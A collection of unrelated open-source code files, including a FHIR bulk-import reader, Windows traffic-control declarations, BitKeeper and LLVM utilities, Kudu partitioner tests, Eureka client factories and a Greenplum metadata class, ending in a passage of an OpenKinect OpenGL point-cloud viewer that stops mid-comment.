<gh_stars>1000+ package ca.uhn.fhir.jpa.bulk.imprt.job; /*- * #%L * HAPI FHIR JPA Server * %% * Copyright (C) 2014 - 2022 Smile CDR, Inc. * %% * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #L% */ import ca.uhn.fhir.context.FhirContext; import ca.uhn.fhir.jpa.batch.config.BatchConstants; import ca.uhn.fhir.jpa.batch.log.Logs; import ca.uhn.fhir.jpa.bulk.imprt.api.IBulkDataImportSvc; import ca.uhn.fhir.jpa.bulk.imprt.model.BulkImportJobFileJson; import ca.uhn.fhir.jpa.bulk.imprt.model.ParsedBulkImportRecord; import ca.uhn.fhir.util.IoUtil; import com.google.common.io.LineReader; import org.hl7.fhir.instance.model.api.IBaseResource; import org.springframework.batch.item.ItemReader; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import java.io.StringReader; @SuppressWarnings("UnstableApiUsage") public class BulkImportFileReader implements ItemReader<ParsedBulkImportRecord> { @Autowired private IBulkDataImportSvc myBulkDataImportSvc; @Autowired private FhirContext myFhirContext; @Value("#{stepExecutionContext['" + BatchConstants.JOB_UUID_PARAMETER + "']}") private String myJobUuid; @Value("#{stepExecutionContext['" + BulkImportPartitioner.FILE_INDEX + "']}") private int myFileIndex; private StringReader myReader; private LineReader myLineReader; private int myLineIndex; private String myTenantName; @Override public ParsedBulkImportRecord read() throws Exception { if (myReader == null) { BulkImportJobFileJson file = myBulkDataImportSvc.fetchFile(myJobUuid, myFileIndex); myTenantName = file.getTenantName(); myReader = new StringReader(file.getContents()); myLineReader = new LineReader(myReader); } String nextLine = myLineReader.readLine(); if (nextLine == null) { IoUtil.closeQuietly(myReader); return null; } Logs.getBatchTroubleshootingLog().debug("Reading line {} file index {} for job: {}", myLineIndex++, myFileIndex, myJobUuid); IBaseResource parsed = myFhirContext.newJsonParser().parseResource(nextLine); return new ParsedBulkImportRecord(myTenantName, parsed, myLineIndex); } }
939
12,718
/** * This file has no copyright assigned and is placed in the Public Domain. * This file is part of the mingw-w64 runtime package. * No warranty is given; refer to the file DISCLAIMER.PD within this package. */ #ifndef __TRAFFIC_H #define __TRAFFIC_H #include <_mingw_unicode.h> #include <ntddndis.h> #ifdef __cplusplus extern "C" { #endif #define CURRENT_TCI_VERSION 0x0002 #define TC_NOTIFY_IFC_UP 1 #define TC_NOTIFY_IFC_CLOSE 2 #define TC_NOTIFY_IFC_CHANGE 3 #define TC_NOTIFY_PARAM_CHANGED 4 #define TC_NOTIFY_FLOW_CLOSE 5 #define TC_INVALID_HANDLE ((HANDLE)0) #define MAX_STRING_LENGTH 256 #ifndef CALLBACK #if defined(_ARM_) #define CALLBACK #else #define CALLBACK __stdcall #endif #endif #ifndef WINAPI #if defined(_ARM_) #define WINAPI #else #define WINAPI __stdcall #endif #endif #ifndef APIENTRY #define APIENTRY WINAPI #endif typedef VOID (CALLBACK *TCI_NOTIFY_HANDLER)(HANDLE ClRegCtx,HANDLE ClIfcCtx,ULONG Event,HANDLE SubCode,ULONG BufSize,PVOID Buffer); typedef VOID (CALLBACK *TCI_ADD_FLOW_COMPLETE_HANDLER)(HANDLE ClFlowCtx,ULONG Status); typedef VOID (CALLBACK *TCI_MOD_FLOW_COMPLETE_HANDLER)(HANDLE ClFlowCtx,ULONG Status); typedef VOID (CALLBACK *TCI_DEL_FLOW_COMPLETE_HANDLER)(HANDLE ClFlowCtx,ULONG Status); typedef struct _TCI_CLIENT_FUNC_LIST { TCI_NOTIFY_HANDLER ClNotifyHandler; TCI_ADD_FLOW_COMPLETE_HANDLER ClAddFlowCompleteHandler; TCI_MOD_FLOW_COMPLETE_HANDLER ClModifyFlowCompleteHandler; TCI_DEL_FLOW_COMPLETE_HANDLER ClDeleteFlowCompleteHandler; } TCI_CLIENT_FUNC_LIST,*PTCI_CLIENT_FUNC_LIST; typedef struct _ADDRESS_LIST_DESCRIPTOR { ULONG MediaType; NETWORK_ADDRESS_LIST AddressList; } ADDRESS_LIST_DESCRIPTOR,*PADDRESS_LIST_DESCRIPTOR; typedef struct _TC_IFC_DESCRIPTOR { ULONG Length; LPWSTR pInterfaceName; LPWSTR pInterfaceID; ADDRESS_LIST_DESCRIPTOR AddressListDesc; } TC_IFC_DESCRIPTOR,*PTC_IFC_DESCRIPTOR; typedef struct _TC_SUPPORTED_INFO_BUFFER { USHORT InstanceIDLength; WCHAR InstanceID[MAX_STRING_LENGTH]; ADDRESS_LIST_DESCRIPTOR AddrListDesc; } TC_SUPPORTED_INFO_BUFFER,*PTC_SUPPORTED_INFO_BUFFER; typedef struct _TC_GEN_FILTER { USHORT AddressType; ULONG PatternSize; PVOID Pattern; PVOID Mask; } TC_GEN_FILTER,*PTC_GEN_FILTER; typedef struct _TC_GEN_FLOW { FLOWSPEC SendingFlowspec; FLOWSPEC ReceivingFlowspec; ULONG TcObjectsLength; QOS_OBJECT_HDR TcObjects[1]; } TC_GEN_FLOW,*PTC_GEN_FLOW; typedef struct _IP_PATTERN { ULONG Reserved1; ULONG Reserved2; ULONG SrcAddr; ULONG DstAddr; union { struct { USHORT s_srcport,s_dstport; } S_un_ports; struct { UCHAR s_type,s_code; USHORT filler; } S_un_icmp; ULONG S_Spi; } S_un; UCHAR ProtocolId; UCHAR Reserved3[3]; } IP_PATTERN,*PIP_PATTERN; #define tcSrcPort S_un.S_un_ports.s_srcport #define tcDstPort S_un.S_un_ports.s_dstport #define tcIcmpType S_un.S_un_icmp.s_type #define tcIcmpCode S_un.S_un_icmp.s_code #define tcSpi S_un.S_Spi typedef struct _IPX_PATTERN { struct { ULONG NetworkAddress; UCHAR NodeAddress[6]; USHORT Socket; } Src,Dest; } IPX_PATTERN,*PIPX_PATTERN; typedef struct _ENUMERATION_BUFFER { ULONG Length; ULONG OwnerProcessId; USHORT FlowNameLength; WCHAR FlowName[MAX_STRING_LENGTH]; PTC_GEN_FLOW pFlow; ULONG NumberOfFilters; TC_GEN_FILTER GenericFilter[1]; } ENUMERATION_BUFFER,*PENUMERATION_BUFFER; #define QOS_TRAFFIC_GENERAL_ID_BASE 4000 #define QOS_OBJECT_DS_CLASS (0x00000001 + QOS_TRAFFIC_GENERAL_ID_BASE) #define QOS_OBJECT_TRAFFIC_CLASS (0x00000002 + QOS_TRAFFIC_GENERAL_ID_BASE) #define QOS_OBJECT_DIFFSERV (0x00000003 + QOS_TRAFFIC_GENERAL_ID_BASE) #define QOS_OBJECT_TCP_TRAFFIC (0x00000004 + QOS_TRAFFIC_GENERAL_ID_BASE) #define QOS_OBJECT_FRIENDLY_NAME (0x00000005 + QOS_TRAFFIC_GENERAL_ID_BASE) typedef struct _QOS_FRIENDLY_NAME { QOS_OBJECT_HDR ObjectHdr; WCHAR FriendlyName[MAX_STRING_LENGTH]; } QOS_FRIENDLY_NAME,*LPQOS_FRIENDLY_NAME; typedef struct _QOS_TRAFFIC_CLASS { QOS_OBJECT_HDR ObjectHdr; ULONG TrafficClass; } QOS_TRAFFIC_CLASS,*LPQOS_TRAFFIC_CLASS; typedef struct _QOS_DS_CLASS { QOS_OBJECT_HDR ObjectHdr; ULONG DSField; } QOS_DS_CLASS,*LPQOS_DS_CLASS; typedef struct _QOS_DIFFSERV { QOS_OBJECT_HDR ObjectHdr; ULONG DSFieldCount; UCHAR DiffservRule[1]; } QOS_DIFFSERV,*LPQOS_DIFFSERV; typedef struct _QOS_DIFFSERV_RULE { UCHAR InboundDSField; UCHAR ConformingOutboundDSField; UCHAR NonConformingOutboundDSField; UCHAR ConformingUserPriority; UCHAR NonConformingUserPriority; } QOS_DIFFSERV_RULE,*LPQOS_DIFFSERV_RULE; typedef struct _QOS_TCP_TRAFFIC { QOS_OBJECT_HDR ObjectHdr; } QOS_TCP_TRAFFIC,*LPQOS_TCP_TRAFFIC; #define TcOpenInterface __MINGW_NAME_AW(TcOpenInterface) #define TcQueryFlow __MINGW_NAME_AW(TcQueryFlow) #define TcSetFlow __MINGW_NAME_AW(TcSetFlow) #define TcGetFlowName __MINGW_NAME_AW(TcGetFlowName) ULONG WINAPI TcRegisterClient(ULONG TciVersion,HANDLE ClRegCtx,PTCI_CLIENT_FUNC_LIST ClientHandlerList,PHANDLE pClientHandle); ULONG WINAPI TcEnumerateInterfaces(HANDLE ClientHandle,PULONG pBufferSize,PTC_IFC_DESCRIPTOR InterfaceBuffer); ULONG WINAPI TcOpenInterfaceA(LPSTR pInterfaceName,HANDLE ClientHandle,HANDLE ClIfcCtx,PHANDLE pIfcHandle); ULONG WINAPI TcOpenInterfaceW(LPWSTR pInterfaceName,HANDLE ClientHandle,HANDLE ClIfcCtx,PHANDLE pIfcHandle); ULONG WINAPI TcCloseInterface(HANDLE IfcHandle); ULONG WINAPI TcQueryInterface(HANDLE IfcHandle,LPGUID pGuidParam,BOOLEAN NotifyChange,PULONG pBufferSize,PVOID Buffer); ULONG WINAPI TcSetInterface(HANDLE IfcHandle,LPGUID pGuidParam,ULONG BufferSize,PVOID Buffer); ULONG WINAPI TcQueryFlowA(LPSTR pFlowName,LPGUID pGuidParam,PULONG pBufferSize,PVOID Buffer); ULONG WINAPI TcQueryFlowW(LPWSTR pFlowName,LPGUID pGuidParam,PULONG pBufferSize,PVOID Buffer); ULONG WINAPI TcSetFlowA(LPSTR pFlowName,LPGUID pGuidParam,ULONG BufferSize,PVOID Buffer); ULONG WINAPI TcSetFlowW(LPWSTR pFlowName,LPGUID pGuidParam,ULONG BufferSize,PVOID Buffer); ULONG WINAPI TcAddFlow(HANDLE IfcHandle,HANDLE ClFlowCtx,ULONG Flags,PTC_GEN_FLOW pGenericFlow,PHANDLE pFlowHandle); ULONG WINAPI TcGetFlowNameA(HANDLE FlowHandle,ULONG StrSize,LPSTR pFlowName); ULONG WINAPI TcGetFlowNameW(HANDLE FlowHandle,ULONG StrSize,LPWSTR pFlowName); ULONG WINAPI TcModifyFlow(HANDLE FlowHandle,PTC_GEN_FLOW pGenericFlow); ULONG WINAPI TcAddFilter(HANDLE FlowHandle,PTC_GEN_FILTER pGenericFilter,PHANDLE pFilterHandle); ULONG WINAPI TcDeregisterClient(HANDLE ClientHandle); ULONG WINAPI TcDeleteFlow(HANDLE FlowHandle); ULONG WINAPI TcDeleteFilter(HANDLE FilterHandle); ULONG WINAPI TcEnumerateFlows(HANDLE IfcHandle,PHANDLE pEnumHandle,PULONG pFlowCount,PULONG pBufSize,PENUMERATION_BUFFER Buffer); #ifdef __cplusplus } #endif #endif
2,977
342
<gh_stars>100-1000 /* * Copyright 2001,2003-2005,2010-2011,2013,2015-2016 BitMover, Inc * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "bkd.h" int csets_main(int ac, char **av) { int diffs = 0, gui = 1, verbose = 0, standalone = 0, resync = 0; int stats = 0; int c; int rc = 0; longopt lopts[] = { { "stats", 320 }, /* --stats */ { 0, 0 } }; while ((c = getopt(ac, av, "DTv", lopts)) != -1) { switch (c) { case 'D': diffs = 1; break; case 'T': gui = 0; break; case 'v': gui = 0; verbose = 1; break; case 320: /* --stats */ gui = 0; diffs = 1; stats = 1; break; default: bk_badArg(c, av); } } bk_nested2root(standalone); if (diffs) { char *range; range = backtick("bk range -u", &rc); if (rc) goto out; if (gui) { rc = systemf("bk difftool -r%s", range); } else { rc = systemf("bk rset --elide -Hr%s | bk diffs %s -", range, stats ? "--stats-only" : "-Hpu"); } goto out; } if (exists("RESYNC/BitKeeper/etc/csets-in")) { chdir("RESYNC"); resync = 1; } if (exists("BitKeeper/etc/csets-in")) { if (gui) { printf("Viewing %sBitKeeper/etc/csets-in\n", resync ? "RESYNC/" : ""); rc = SYSRET(system("bk changes -nd:I: - " "< BitKeeper/etc/csets-in " "| bk csettool -")); } else { rc = SYSRET(systemf("bk changes %s - " "< BitKeeper/etc/csets-in", verbose ? "-v" : "")); } } else { fprintf(stderr, "Cannot find csets to view.\n"); rc = 1; } out: return (rc); }
879
1,073
<gh_stars>1000+ //===-- SyntaxHighlighting.cpp ----------------------------------*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// #include "SyntaxHighlighting.h" #include "llvm/Support/CommandLine.h" using namespace llvm; using namespace dwarf; using namespace syntax; static cl::opt<cl::boolOrDefault> UseColor("color", cl::desc("use colored syntax highlighting (default=autodetect)"), cl::init(cl::BOU_UNSET)); WithColor::WithColor(llvm::raw_ostream &OS, enum HighlightColor Type) : OS(OS) { // Detect color from terminal type unless the user passed the --color option. if (UseColor == cl::BOU_UNSET ? OS.has_colors() : UseColor == cl::BOU_TRUE) { switch (Type) { case Address: OS.changeColor(llvm::raw_ostream::YELLOW); break; case String: OS.changeColor(llvm::raw_ostream::GREEN); break; case Tag: OS.changeColor(llvm::raw_ostream::BLUE); break; case Attribute: OS.changeColor(llvm::raw_ostream::CYAN); break; case Enumerator: OS.changeColor(llvm::raw_ostream::MAGENTA); break; case Macro: OS.changeColor(llvm::raw_ostream::RED); break; } } } WithColor::~WithColor() { if (UseColor == cl::BOU_UNSET ? OS.has_colors() : UseColor == cl::BOU_TRUE) OS.resetColor(); }
558
1,538
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. package org.apache.kudu.client; import static org.apache.kudu.test.ClientTestUtil.getBasicSchema; import static org.apache.kudu.test.ClientTestUtil.getBasicTableOptionsWithNonCoveredRange; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.List; import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.apache.kudu.Schema; import org.apache.kudu.test.KuduTestHarness; public class TestKuduPartitioner { private KuduClient client; @Rule public KuduTestHarness harness = new KuduTestHarness(); @Before public void setUp() { client = harness.getClient(); } @Test public void testPartitioner() throws Exception { // Create a table with the following 9 partitions: // // hash bucket // key 0 1 2 // ----------------- // <3333 x x x // 3333-6666 x x x // >=6666 x x x Schema basicSchema = getBasicSchema(); final int numRanges = 3; final int numHashPartitions = 3; final String tableName = "TestPartitioner"; List<PartialRow> splitRows = new ArrayList<>(); for (int split : Arrays.asList(3333, 6666)) { PartialRow row = basicSchema.newPartialRow(); row.addInt("key", split); splitRows.add(row); } CreateTableOptions createOptions = new CreateTableOptions(); createOptions.addHashPartitions(Collections.singletonList("key"), numHashPartitions); createOptions.setRangePartitionColumns(Collections.singletonList("key")); for (PartialRow row : splitRows) { createOptions.addSplitRow(row); } KuduTable table = client.createTable(tableName, basicSchema, createOptions); Schema schema = table.getSchema(); KuduPartitioner part = new KuduPartitioner.KuduPartitionerBuilder(table).build(); assertEquals(numRanges * numHashPartitions, part.numPartitions()); // Partition a bunch of rows, counting how many fall into each partition. int numRowsToPartition = 10000; int[] countsByPartition = new int[part.numPartitions()]; Arrays.fill(countsByPartition, 0); for (int i = 0; i < numRowsToPartition; i++) { PartialRow row = schema.newPartialRow(); row.addInt("key", i); int partIndex = part.partitionRow(row); countsByPartition[partIndex]++; } // We don't expect a completely even division of rows into partitions, but // we should be within 10% of that. int expectedPerPartition = numRowsToPartition / part.numPartitions(); int fuzziness = expectedPerPartition / 10; int minPerPartition = expectedPerPartition - fuzziness; int maxPerPartition = expectedPerPartition + fuzziness; for (int i = 0; i < part.numPartitions(); i++) { assertTrue(minPerPartition <= countsByPartition[i]); assertTrue(maxPerPartition >= countsByPartition[i]); } // Drop the first and third range partition. AlterTableOptions alterOptions = new AlterTableOptions(); alterOptions.dropRangePartition(basicSchema.newPartialRow(), splitRows.get(0)); alterOptions.dropRangePartition(splitRows.get(1), basicSchema.newPartialRow()); client.alterTable(tableName, alterOptions); // The existing partitioner should still return results based on the table // state at the time it was created, and successfully return partitions // for rows in the now-dropped range. assertEquals(numRanges * numHashPartitions, part.numPartitions()); PartialRow row = schema.newPartialRow(); row.addInt("key", 1000); assertEquals(0, part.partitionRow(row)); // If we recreate the partitioner, it should get the new partitioning info. part = new KuduPartitioner.KuduPartitionerBuilder(table).build(); assertEquals(numHashPartitions, part.numPartitions()); } @Test public void testPartitionerNonCoveredRange() throws Exception { final Schema basicSchema = getBasicSchema(); final int numHashPartitions = 3; final String tableName = "TestPartitionerNonCoveredRange"; CreateTableOptions createOptions = new CreateTableOptions(); createOptions.addHashPartitions(Collections.singletonList("key"), numHashPartitions); createOptions.setRangePartitionColumns(Collections.singletonList("key")); // Cover a range where 1000 <= key < 2000 PartialRow lower = basicSchema.newPartialRow(); lower.addInt("key", 1000); PartialRow upper = basicSchema.newPartialRow(); upper.addInt("key", 2000); createOptions.addRangePartition(lower, upper); KuduTable table = client.createTable(tableName, basicSchema, createOptions); Schema schema = table.getSchema(); KuduPartitioner part = new KuduPartitioner.KuduPartitionerBuilder(table).build(); try { PartialRow under = schema.newPartialRow(); under.addInt("key", 999); part.partitionRow(under); fail("partitionRow did not throw a NonCoveredRangeException"); } catch (NonCoveredRangeException ex) { // Expected } try { PartialRow over = schema.newPartialRow(); over.addInt("key", 999); part.partitionRow(over); fail("partitionRow did not throw a NonCoveredRangeException"); } catch (NonCoveredRangeException ex) { assertTrue(ex.getMessage().contains("does not exist in table")); } } @Test public void testBuildTimeout() throws Exception { Schema basicSchema = getBasicSchema(); String tableName = "TestBuildTimeout"; CreateTableOptions createOptions = new CreateTableOptions(); createOptions.addHashPartitions(Collections.singletonList("key"), 3); createOptions.setRangePartitionColumns(Collections.singletonList("key")); KuduTable table = client.createTable(tableName, basicSchema, createOptions); // Ensure the table information can't be found to force a timeout. harness.killAllMasterServers(); int timeoutMs = 2000; long now = System.currentTimeMillis(); try { new KuduPartitioner.KuduPartitionerBuilder(table).buildTimeout(timeoutMs).build(); fail("No NonRecoverableException was thrown"); } catch (NonRecoverableException ex) { assertTrue(ex.getMessage().startsWith("cannot complete before timeout")); } long elapsed = System.currentTimeMillis() - now; long upperBound = timeoutMs * 2L; // Add 100% to avoid flakiness. assertTrue(String.format("Elapsed time %d exceeded upper bound %d", elapsed, upperBound), elapsed <= upperBound); } @Test public void testTableCache() throws Exception { String tableName = "TestTableCache"; KuduTable table = client.createTable(tableName, getBasicSchema(), getBasicTableOptionsWithNonCoveredRange()); // Populate the table cache by building the partitioner once. KuduPartitioner partitioner = new KuduPartitioner.KuduPartitionerBuilder(table).build(); // Ensure the remote table information can't be found. harness.killAllMasterServers(); // This partitioner should build correctly because the table cache holds the partitions // from the previous partitioner. KuduPartitioner partitionerFromCache = new KuduPartitioner.KuduPartitionerBuilder(table).build(); assertEquals(partitioner.numPartitions(), partitionerFromCache.numPartitions()); } }
2,737
14,668
<reponame>zealoussnow/chromium // Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef ASH_CLIPBOARD_CLIPBOARD_HISTORY_ITEM_H_ #define ASH_CLIPBOARD_CLIPBOARD_HISTORY_ITEM_H_ #include "ash/ash_export.h" #include "base/i18n/time_formatting.h" #include "base/strings/utf_string_conversions.h" #include "base/time/time.h" #include "base/unguessable_token.h" #include "ui/base/clipboard/clipboard_data.h" namespace ash { // Wraps ClipboardData with a unique identifier. class ASH_EXPORT ClipboardHistoryItem { public: explicit ClipboardHistoryItem(ui::ClipboardData data); ClipboardHistoryItem(const ClipboardHistoryItem&); ClipboardHistoryItem(ClipboardHistoryItem&&); // Copy/move assignment operators are deleted to be consistent with // ui::ClipboardData and ui::DataTransferEndpoint. ClipboardHistoryItem& operator=(const ClipboardHistoryItem&) = delete; ClipboardHistoryItem& operator=(ClipboardHistoryItem&&) = delete; ~ClipboardHistoryItem(); const base::UnguessableToken& id() const { return id_; } const ui::ClipboardData& data() const { return data_; } const base::Time time_copied() const { return time_copied_; } private: // Unique identifier. base::UnguessableToken id_; ui::ClipboardData data_; base::Time time_copied_; }; } // namespace ash #endif // ASH_CLIPBOARD_CLIPBOARD_HISTORY_ITEM_H_
498
3,016
# encoding: utf-8 # ****************************************************** # Author : zzw922cn # Last modified: 2017-12-09 11:00 # Email : <EMAIL> # Filename : functionDictUtils.py # Description : Common function dictionaries for Automatic Speech Recognition # ****************************************************** import tensorflow as tf activation_functions_dict = { 'sigmoid': tf.sigmoid, 'tanh': tf.tanh, 'relu': tf.nn.relu, 'relu6': tf.nn.relu6, 'elu': tf.nn.elu, 'softplus': tf.nn.softplus, 'softsign': tf.nn.softsign # for detailed intro, go to https://www.tensorflow.org/versions/r0.12/api_docs/python/nn/activation_functions_ } optimizer_functions_dict = { 'gd': tf.train.GradientDescentOptimizer, 'adadelta': tf.train.AdadeltaOptimizer, 'adagrad': tf.train.AdagradOptimizer, 'adam': tf.train.AdamOptimizer, 'rmsprop': tf.train.RMSPropOptimizer }
354
3,788
<gh_stars>1000+ // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See LICENSE in the project root for license information. #include "pch.h" #include "common.h" #include "BreadcrumbIterable.h" #include "BreadcrumbIterator.h" BreadcrumbIterable::BreadcrumbIterable() { } BreadcrumbIterable::BreadcrumbIterable(const winrt::IInspectable& itemsSource) { ItemsSource(itemsSource); } void BreadcrumbIterable::ItemsSource(const winrt::IInspectable& itemsSource) { m_itemsSource.set(itemsSource); } winrt::IIterator<winrt::IInspectable> BreadcrumbIterable::First() { return winrt::make<BreadcrumbIterator>(m_itemsSource.get()); }
268
11,351
package com.netflix.discovery.shared.transport.jersey; import java.util.Collection; import java.util.Optional; import javax.net.ssl.HostnameVerifier; import javax.net.ssl.SSLContext; import com.netflix.appinfo.EurekaClientIdentity; import com.netflix.appinfo.InstanceInfo; import com.netflix.discovery.EurekaClientConfig; import com.netflix.discovery.shared.resolver.EurekaEndpoint; import com.netflix.discovery.shared.transport.EurekaHttpClient; import com.netflix.discovery.shared.transport.TransportClientFactory; import com.netflix.discovery.shared.transport.decorator.MetricsCollectingEurekaHttpClient; import com.sun.jersey.api.client.filter.ClientFilter; import com.sun.jersey.client.apache4.ApacheHttpClient4; public class Jersey1TransportClientFactories implements TransportClientFactories<ClientFilter> { @Deprecated public TransportClientFactory newTransportClientFactory(final Collection<ClientFilter> additionalFilters, final EurekaJerseyClient providedJerseyClient) { ApacheHttpClient4 apacheHttpClient = providedJerseyClient.getClient(); if (additionalFilters != null) { for (ClientFilter filter : additionalFilters) { if (filter != null) { apacheHttpClient.addFilter(filter); } } } final TransportClientFactory jerseyFactory = new JerseyEurekaHttpClientFactory(providedJerseyClient, false); final TransportClientFactory metricsFactory = MetricsCollectingEurekaHttpClient.createFactory(jerseyFactory); return new TransportClientFactory() { @Override public EurekaHttpClient newClient(EurekaEndpoint serviceUrl) { return metricsFactory.newClient(serviceUrl); } @Override public void shutdown() { metricsFactory.shutdown(); jerseyFactory.shutdown(); } }; } public TransportClientFactory newTransportClientFactory(final EurekaClientConfig clientConfig, final Collection<ClientFilter> additionalFilters, final InstanceInfo myInstanceInfo) { return newTransportClientFactory(clientConfig, additionalFilters, myInstanceInfo, Optional.empty(), Optional.empty()); } @Override public TransportClientFactory newTransportClientFactory(EurekaClientConfig clientConfig, Collection<ClientFilter> additionalFilters, InstanceInfo myInstanceInfo, Optional<SSLContext> sslContext, Optional<HostnameVerifier> hostnameVerifier) { final TransportClientFactory jerseyFactory = JerseyEurekaHttpClientFactory.create( clientConfig, additionalFilters, myInstanceInfo, new EurekaClientIdentity(myInstanceInfo.getIPAddr()), sslContext, hostnameVerifier ); final TransportClientFactory metricsFactory = MetricsCollectingEurekaHttpClient.createFactory(jerseyFactory); return new TransportClientFactory() { @Override public EurekaHttpClient newClient(EurekaEndpoint serviceUrl) { return metricsFactory.newClient(serviceUrl); } @Override public void shutdown() { metricsFactory.shutdown(); jerseyFactory.shutdown(); } }; } }
1,504
466
<filename>src/backend/gporca/libnaucrates/src/md/CMDIdRelStats.cpp //--------------------------------------------------------------------------- // Greenplum Database // Copyright (C) 2012 EMC Corp. // // @filename: // CMDIdRelStats.cpp // // @doc: // Implementation of mdids for relation statistics //--------------------------------------------------------------------------- #include "naucrates/md/CMDIdRelStats.h" #include "naucrates/dxl/xml/CXMLSerializer.h" using namespace gpos; using namespace gpmd; //--------------------------------------------------------------------------- // @function: // CMDIdRelStats::CMDIdRelStats // // @doc: // Ctor // //--------------------------------------------------------------------------- CMDIdRelStats::CMDIdRelStats(CMDIdGPDB *rel_mdid) : m_rel_mdid(rel_mdid), m_str(m_mdid_array, GPOS_ARRAY_SIZE(m_mdid_array)) { // serialize mdid into static string Serialize(); } //--------------------------------------------------------------------------- // @function: // CMDIdRelStats::~CMDIdRelStats // // @doc: // Dtor // //--------------------------------------------------------------------------- CMDIdRelStats::~CMDIdRelStats() { m_rel_mdid->Release(); } //--------------------------------------------------------------------------- // @function: // CMDIdRelStats::Serialize // // @doc: // Serialize mdid into static string // //--------------------------------------------------------------------------- void CMDIdRelStats::Serialize() { // serialize mdid as SystemType.Oid.Major.Minor m_str.AppendFormat(GPOS_WSZ_LIT("%d.%d.%d.%d"), MdidType(), m_rel_mdid->Oid(), m_rel_mdid->VersionMajor(), m_rel_mdid->VersionMinor()); } //--------------------------------------------------------------------------- // @function: // CMDIdRelStats::GetBuffer // // @doc: // Returns the string representation of the mdid // //--------------------------------------------------------------------------- const WCHAR * CMDIdRelStats::GetBuffer() const { return m_str.GetBuffer(); } //--------------------------------------------------------------------------- // @function: // CMDIdRelStats::GetRelMdId // // @doc: // Returns the base relation id // //--------------------------------------------------------------------------- IMDId * CMDIdRelStats::GetRelMdId() const { return m_rel_mdid; } //--------------------------------------------------------------------------- // @function: // CMDIdRelStats::Equals // // @doc: // Checks if the mdids are equal // //--------------------------------------------------------------------------- BOOL CMDIdRelStats::Equals(const IMDId *mdid) const { if (NULL == mdid || EmdidRelStats != mdid->MdidType()) { return false; } const CMDIdRelStats *rel_stats_mdid = CMDIdRelStats::CastMdid(mdid); return m_rel_mdid->Equals(rel_stats_mdid->GetRelMdId()); } //--------------------------------------------------------------------------- // @function: // CMDIdRelStats::Serialize // // @doc: // Serializes the mdid as the value of the given attribute // //--------------------------------------------------------------------------- void CMDIdRelStats::Serialize(CXMLSerializer *xml_serializer, const CWStringConst *attribute_str) const { xml_serializer->AddAttribute(attribute_str, &m_str); } //--------------------------------------------------------------------------- // @function: // CMDIdRelStats::OsPrint // // @doc: // Debug print of the id in the provided stream // //--------------------------------------------------------------------------- IOstream & CMDIdRelStats::OsPrint(IOstream &os) const { os << "(" << m_str.GetBuffer() << ")"; return os; } // EOF
1,064
2,132
/* * This file is part of the OpenKinect Project. http://www.openkinect.org * * Copyright (c) 2010 individual OpenKinect contributors. See the CONTRIB file * for details. * * <NAME> <<EMAIL>> * * This code is licensed to you under the terms of the Apache License, version * 2.0, or, at your option, the terms of the GNU General Public License, * version 2.0. See the APACHE20 and GPL2 files for the text of the licenses, * or the following URLs: * http://www.apache.org/licenses/LICENSE-2.0 * http://www.gnu.org/licenses/gpl-2.0.txt * * If you redistribute this file in source form, modified or unmodified, you * may: * 1) Leave this header intact and distribute it under the same terms, * accompanying it with the APACHE20 and GPL20 files, or * 2) Delete the Apache 2.0 clause and accompany it with the GPL2 file, or * 3) Delete the GPL v2 clause and accompany it with the APACHE20 file * In all cases you must keep the copyright notice intact and include a copy * of the CONTRIB file. * * Binary distributions must follow the binary distribution requirements of * either License. */ import com.jogamp.opengl.*; import com.jogamp.opengl.awt.*; import com.jogamp.opengl.glu.*; import com.jogamp.opengl.util.*; import java.awt.*; import java.awt.event.*; import java.nio.*; import javax.swing.*; import org.bytedeco.javacpp.*; import org.bytedeco.libfreenect.*; import static java.lang.Math.*; import static org.bytedeco.libfreenect.global.freenect.*; public class GLPCLView { static GLU glu = new GLU(); static GLCanvas canvas; static JFrame frame; static FPSAnimator animator; static int[] gl_rgb_tex = new int[1]; static int mx = -1, my = -1; // Previous mouse coordinates static int[] rotangles = {0, 0}; // Panning angles static float zoom = 1; // Zoom factor static boolean color = true; // Use the RGB texture or just draw it as color static IntBuffer indices = ByteBuffer.allocateDirect(4 * 480 * 640).order(ByteOrder.nativeOrder()).asIntBuffer(); static ShortBuffer xyz = ByteBuffer.allocateDirect(2 * 480 * 640 * 3).order(ByteOrder.nativeOrder()).asShortBuffer(); // Do the projection from u,v,depth to X,Y,Z directly in an opengl matrix // These numbers come from a combination of the ros kinect_node wiki, and // nicolas burrus' posts. static void LoadVertexMatrix(GL2 gl2) { float fx = 594.21f; float fy = 591.04f; float a = -0.0030711f; float b = 3.3309495f; float cx = 339.5f; float cy = 242.7f; float mat[] = { 1/fx, 0, 0, 0, 0, -1/fy, 0, 0, 0, 0, 0, a, -cx/fx, cy/fy, -1, b }; gl2.glMultMatrixf(mat, 0); } // This matrix comes from a combination of nicolas burrus's 